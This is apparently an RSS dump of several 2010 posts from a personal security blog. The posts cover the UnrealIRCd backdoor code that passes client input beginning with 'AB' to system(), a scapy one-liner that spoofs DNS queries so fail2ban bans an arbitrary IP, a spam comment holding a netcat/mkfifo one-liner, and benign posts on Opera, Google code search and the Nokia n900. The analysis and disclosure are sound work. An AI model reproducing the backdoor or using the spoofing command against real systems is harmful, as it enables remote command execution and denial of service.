1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#endif</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        length <span style="color: #339933;">=</span> recv<span style="color: #009900;">(</span>cptr<span style="color: #339933;">-></span>fd<span style="color: #339933;">,</span> readbuf<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">(</span>readbuf<span style="color: #009900;">)</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                cptr<span style="color: #339933;">-></span>lasttime <span style="color: #339933;">=</span> now<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>cptr<span style="color: #339933;">-></span>lasttime <span style="color: #339933;">></span> cptr<span style="color: #339933;">-></span>since<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        cptr<span style="color: #339933;">-></span>since <span style="color: #339933;">=</span> cptr<span style="color: #339933;">-></span>lasttime<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                cptr<span style="color: #339933;">-></span>flags <span style="color: #339933;">&=</span> ~<span style="color: #009900;">(</span>FLAGS_PINGSENT <span style="color: #339933;">|</span> FLAGS_NONL<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                 <span style="color: #666666; font-style: italic;">// If not ready, fake it so it isnt closed</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>length <span style="color: #339933;"><</span> <span style="color: #0000dd;">0</span> <span style="color: #339933;">&&</span> ERRNO <span style="color: #339933;">==</span> P_EWOULDBLOCK<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>length <span style="color: #339933;"><=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        <span style="color: #b1b100;">return</span> length<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#ifdef DEBUGMODE3</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span><span style="color: #339933;">!</span>memcmp<span style="color: #009900;">(</span>readbuf<span style="color: #339933;">,</span> DEBUGMODE3_INFO<span style="color: #339933;">,</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            DEBUG3_LOG<span style="color: #009900;">(</span>readbuf<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#endif</span></div></li></ol></div><br />
This is <u>the</u> important function to handle client connection data and processes all client data. the modification are the 4 lines at the end.<br />
The code is simple. The first two bytes of readbuf are compared with DEBUGMODE3_INFO. readbuf is used a few lines before to read data from the client connection. So basically this introduces a new irc "command" DEBUGMODE3_INFO.<br />
DEBUGMODE3_INFO is defined as <strong>AB</strong> in include/struct.h. If the received bytes match AB DEBUG3_LOG is called with the read buffer as argument. DEBUG3_LOG is just another macro that resolves to DEBUG3_DOLOG_SYSTEM (defined in the same file) which looks like:<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#define DEBUG3_DOLOG_SYSTEM(x) system(x)</span></div></li></ol></div><br />
So this allows an attacker to connect to the irc server and execute arbitrary commands by using the AB comment. This is probably the most simple backdoor one can think of but it's rather efficient and unlikely to be hit by accident from a client. Bad days for UnrealIRCd and there are still many servers out there which are probably backdoored this way, at least it didn't cost me much time to find some :/<br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-06-12T16:22:55Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=692
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=692
analysis
backdoor
fail
irc
security
software
-
fail of the day: opera
http://nion.modprobe.de/blog/archives/691-fail-of-the-day-opera.html
I occasionally make use of the report function in opera in case it crashes (which happens quite often on 64bit for me), but if it crashes right when receiving the response<br />
of the crash reporting website you really start to HATE that piece of software.<br />
<br />
<img src="http://nion.modprobe.de/bimg/opera.png"><br />
(notice Last visited URL)<br />
<br />
FAIL! (using 0.60-6351)<br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-06-08T22:40:53Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=691
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=691
bugs
frustration
opera
software
web
-
fail2ban + dns = fail
http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html
<a href="http://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a> is used by many people to prevent certain types of <a href="http://en.wikipedia.org/wiki/DoS">DoS</a> attacks. I use it myself to <a href="http://nion.modprobe.de/blog/archives/587-defeating-trackback-spam.html">reduce trackback spam</a> a little bit.<br />
<br />
While this tool becomes quite handy in such situations it is also not generally recommend because you can shoot yourself in the foot. If one of the used filters has a bug and results in incorrect parsing your fail2ban installation might end up banning arbitrary IP addresses or even your own IP range (not even mentioning IP spoofing).<br />
There existed at least <a href="http://secunia.com/advisories/23237/">two</a> <a href="http://secunia.com/advisories/33890/">bugs</a> of this kind to my knowledge and since regex might not always be easy I'm sure there will be more in the future.<br />
<br />
Since I didn't want to look for a specific regex bug in one of the filters I thought about IP spoofing again and looked at fail2bans filters. What I needed was a filter processing log entries of a service listening on a <a href="http://en.wikipedia.org/wiki/UDP">UDP</a> socket as TCP/IP spoofing over the internet doesn't really work well these days. Finding such a filter would mean an instant win situation. To my surprise there is such a filter: <strong>config/filter.d/named.conf</strong><br />
<br />
This filter is used to parse log entries consisting of denied DNS queries produced by <a href="http://www.isc.org/software/bind">bind</a>. Interestingly there is even an article at <a href="http://www.debian-administration.org/article/Blocking_a_DNS_DDOS_using_the_fail2ban_package">debian-administration</a> describing how to setup fail2ban to mitigate a <a href="http://isc.sans.org/diary.html?storyid=5713">DNS DDoS attack</a>. This is of course a bad idea and I have no idea why this filter is shipped in a default fail2ban installation. DoSing abritary IP addresses with this filter in use becomes as easy as firing up <a href="http://www.secdev.org/projects/scapy/">scapy</a> and querying the server with a forged source IP:<br />
<br />
>>> send(IP(dst="81.169.172.197",src="xx.46.63.71")/UDP()/DNS(rd=1,qd=DNSQR(qname="foao.modprobe.de")))<br />
.<br />
Sent 1 packets.<br />
<br />
This ends up as:<br />
May 26 22:32:22 modprobe named[30245]: client xx.46.63.71#53: query 'foao.modprobe.de/A/IN' denied<br />
<br />
in the bind logs which in turn results in:<br />
2010-05-26 22:32:05,551 fail2ban.actions: WARNING [named-refused] Ban xx.46.63.71<br />
<br />
In this example the spoofed IP was xx.46.63.71 which is not under my control.<br />
<br />
Mission statement: don't use fail2ban unless you really want to shoot yourself in the foot or know pretty well what you're doing <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />
nion's blog
blog@ngolde.de (Nico Golde)
2010-05-26T20:35:53Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=690
5
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=690
configuration
debian
fail
fail2ban
security
software
-
evolution of spam or WTF is this!
http://nion.modprobe.de/blog/archives/688-evolution-of-spam-or-WTF-is-this!.html
It is possible with <a href="http://www.s9y.org">s9y</a> to moderate blog comments after a certain amount of time has passed since the article was published.<br />
A while back I got the following mail to approve a blog comment (I stripped the url and email address to not support the spam):<blockquote><strong>Mon, 19 Oct 2009 12:18:02 +0200 (CEST)</strong><br />
A new comment has been posted on your blog "nion's blog", to the entry entitled "security of scponly/sftp-server in combination with apache".<br />
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html<br />
<br />
Requires review: Yes (Auto-moderation after X days)<br />
User IP-address: 24.123.215.XXX<br />
User Name: SomeSpammer<br />
User Email: webmaster@somespammer.com<br />
User Homepage: http://www.somespammer.com<br />
<br />
Comments:<br />
Very interesting, seems so simple when you explain it like that.. nice one</blockquote><br />
This is quite obviously a spam comment to increase google ranks or site links in general.<br />
<br />
Today I got a new comment:<blockquote><br />
<strong>Fri, 19 Mar 2010 02:35:54 +0200 (CEST)</strong><br />
A new comment has been posted on your blog "nion's blog", to the entry entitled "security of scponly/sftp-server in combination with apache".<br />
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html<br />
<br />
Requires review: Yes (Auto-moderation after X days)<br />
User IP-address: 96.30.18.XXX<br />
User Name: SomeSpammer<br />
User Email: webmaster@somespammer.com<br />
User Homepage: http://www.somespammer.com/<br />
<br />
Comments:<br />
Weird.. I found myself back here! small world. Reminds of this one from the commmandline kung fu of wietse.<br />
<br />
( ( mkfifo ~/nc-feef && ( ( nc -v -l -p 22123 127.0.0.1 > ~/out ) & ) && ( ( cat /tmp/ncf | nc 127.0.0.1 22123 ) & ) && script -f ~/nc-feef ) & )</blockquote><br />
<br />
This comment is pointing to the same spammer site. Now comparing this comment to the first one at the first glance it seems even related to the blog post! Thinking of "wietse" the name <a href="http://en.wikipedia.org/wiki/Wietse_Venema">Wietse Venema</a> (author of postfix) pops up, so this also familiar.<br />
<br />
Though opening a fifo in the home directory, a netcat listening tcp port on localhost with the output redirected to a file and then some tmp file piped to the listening port (thus writing the file) and attaching script to the FIFO doesn't really make sense?! Not that this is usually the case with spam, but wtf this is everything but obviously spam. If you have a blog that is commented highly frequent it might be a problem to sort that out and spot that even if it's not interesting to you. This is the difference to email, if it's spam, you don't notice but it's also not interesting you will just delete the mail. Using a blog you might approve such a comment as it might be interesting for another reader and you don't have time to read that in detail.<br />
<br />
So this spam hit me 6 months after the first attempt again! It's interesting to see how spam evolves over time, this one clearly has been improved.<br />
<br />
Now spam bots are producing code. This is scary. It will be interesting to see if and what comment I get from the guy on this article <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-03-19T22:37:42Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=688
2
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=688
blogging
internet
spam
wtf
-
if you type google into google...
http://nion.modprobe.de/blog/archives/687-if-you-type-google-into-google....html
... or you search for <strong>int main(int argn, char **argc)</strong> (I was looking for source code snippets that do not use the typical int argc, char **argv names) the <a href="http://www.google.com/codesearch?q=int+main%28int+argn%2C+char+%2A%2Aargc%29&hl=en">google code search</a> behaves rather strangely.<br />
<br />
The first result you get is:<br />
<img src="http://nion.modprobe.de/bimg/codesearch1.png" /><br />
<br />
this is not too surprising as the google code search features regexes and * is a reserved symbol in POSIX extended regular expressions but at least the recommendation of <strong>int argn, char "main(int" "**argc)"</strong> is a bit surprising.<br />
<br />
Searching for this actually results in a function that matches the string you wanted to search for originally. So far so good, I didn't look into the codesearch syntax in detail, so this might make sense.<br />
The result looks like:<br />
<img src="http://nion.modprobe.de/bimg/codesearch2.png" /><br />
i<br />
Note that the result has 9 pages (the screenshot is missing this detail) but also only 9 results. The first question that arises is: Why do they only display one result on the page instead of n (usually they do display more)?<br />
<br />
Looking at the other pages it becomes confusing. On page 2 this looks like:<br />
<img src="http://nion.modprobe.de/bimg/codesearch4.png" /><br />
<br />
Now where have pages 4-9 been gone? Ok, to be fair, google sometimes strips additional search results if the content is too similar, this is not too surprising.<br />
<br />
But then, visiting page 3 you get:<br />
<img src="http://nion.modprobe.de/bimg/codesearch3.png" /><br />
<br />
Tada, pages are there again! <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
At this point I am/was totally confused and am really wondering what the idea behind this behaviour is.<br />
If someone is using the google codesearch more frequently (or even is a google employer) please enlighten me! <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-03-17T22:04:27Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=687
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=687
code
google
software
wtf
-
Two weeks with the n900
http://nion.modprobe.de/blog/archives/686-Two-weeks-with-the-n900.html
Two weeks ago I got myself a nokia n900 phone which is running <a href="http://www.maemo.org">maemo 5</a>. So far I am quite happy with it, given that my previous phone was a sony erricsson p1i which is pretty crappy.<br />
I've taken some notes about my experiences:<br />
<ul><br />
<li>under normal use the battery lasts for ~ 2 days, if I'm using 3G the whole day I need to recharge it daily though</li><br />
<li>the terminal has a <a href="https://bugs.maemo.org/show_bug.cgi?id=6045">bug</a> which results in the enter key not working under some conditions, ctrl-m works as a workaround though</li><br />
<li>playing normal dvdrips in mplayer is absolutely no problem without downscaling, 720p doesn't perform though</li><br />
<li>I somehow managed that my screen flipped and I wasn't able to flip it back, only a reboot solved that</li><br />
<li>It is not clear to me which tools you will find in the list of installable packages and which are only visible with apt-cache search. I also managed to end up with a doubled launch icon in my application list for some application</li><br />
<li>the termininal is not usable anymore after an ncurses program crashed, "reset" doesnt help either</li><br />
<li>wireless uses less battery than umts, way less</li><br />
<li>the back button in the browser is per default opening a fancy eyecandy browse history which is slow, so I mostly use backspace to browse back</li><br />
<li>there is lots of useful tools in the extras-devel repository, e.g. I can control my mpd via mmpc from the phone which is great</li><br />
</li><br />
<li>importing contacts works flawlessly, also merging existing contacts works as expected</li><br />
<li>jabber (including xmpp calls) are integrated in the contacts information (you can merge a jabber uid into an existing contact)</li><br />
<li>i've no idea yet what the internal video player is, but i wasn't able to play a non downscaled XviD file with it, mplayer does play it fine</li><br />
<li>freely placeable widgets are awesome</li><br />
<li>it's is really userfriendly and no geeky linux user phone</li><br />
<li>i would prefer not having busybox per default, i can install bash but the libc is still from busybox which implies world readable password hashes in /etc/passwd, so no other user accounts on my mobile <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></li><br />
<li>is there disk encryption available?</li><br />
<li><a href="http://maemo.org/packages/view/n900fly/">n900fly</a> can't cause any good <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></li><br />
<li>gps with nokia maps is ok and I find it pretty usable even if a google maps client would be nice as well</li><br />
<li>the mp3 mplayer sucks unless you have tagged your music properly, you can't just play some folder without having a playlist for it</li><br />
<li>mplayer as an alternative from the console is no real alternative either, if you don't redirect its output to /dev/null it gets stuck in a loop when the display blanks,</li><br />
<li>app manager locks dpkg lock even if you just list available programs, no idea why this is needed and no idea how aptitude and synaptic are doing this</li><br />
<li>is there a good todo manager which comes with a widget listing todos?</li><br />
<li>is it possible to install armel <a href="http://www.debian.org">debian</a> packages without having a debian chroot?</li><br />
<li>sms are nicely organized per contact in an instant messaging fashion</li><br />
<li>the builtin accelerator works nice and you can automatically flip the screen when you want to dial a number, sometimes happens by accident though</li><br />
<li>the multiuser support works awesome and you get a nice overview of open applications in a composé fashion, it may be wise to have not 40 applications open though</li><br />
<li>the list of processes is already huge (like 160 processes running in the background)</li><br />
<li>i haven't checked out the sdk yet but I will do that soon as I need e.g. <a href="http://www.newsbeuter.org">newsbeuter</a> for RSS</li><br />
<li>hardware feels robust, arm cortex a8 is imho a very good processor, RAM could be more (the phone is heavily swapping)</li><br />
<li>you can not yet use the phone as a wireless access point without building your own kernel images, some people seem <a href="http://talk.maemo.org/showthread.php?t=30916&page=1">to be working</a> on this</li><br />
<li>you can manipulate all kinds of stuff through the sysfs, including the phone led and the vibration <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></li><br />
<li>wireless certificates are sometimes shown to be invalid but there there is no details button, you can click only "done"</li><br />
</ul><br />
Those are the things I came up with while using the phone. The calling functionality and everything which is only phone related really works fine and the sound quality while talking to someone on the phone is also really good. So far I am really happy with the phone and I can only recommend it. I hope I'll have some time to port some applications to maemo soon.<br />
<br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-02-08T11:21:13Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=686
7
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=686
debian
linux
maemo
n900
review
software